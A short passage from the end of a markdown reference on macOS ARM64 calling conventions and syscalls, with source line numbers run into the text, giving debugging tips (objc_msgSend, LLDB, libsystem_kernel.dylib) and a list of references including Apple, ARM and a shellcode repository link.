addresses5656. **Check for objc_msgSend** in Objective-C/Swift binaries5667. **Use LLDB** to inspect registers at breakpoints5678. **Reference libsystem_kernel.dylib** for syscall implementations568569## References570571- [Apple Swift ABI - ARM64 Calling Convention](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)572- [XNU syscalls.master](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)573- [macOS ARM64 Shellcode](https://github.com/daem0nc0re/macOS_ARM64_Shellcode)574- [ARM Architecture Reference Manual](https://developer.arm.com/documentation)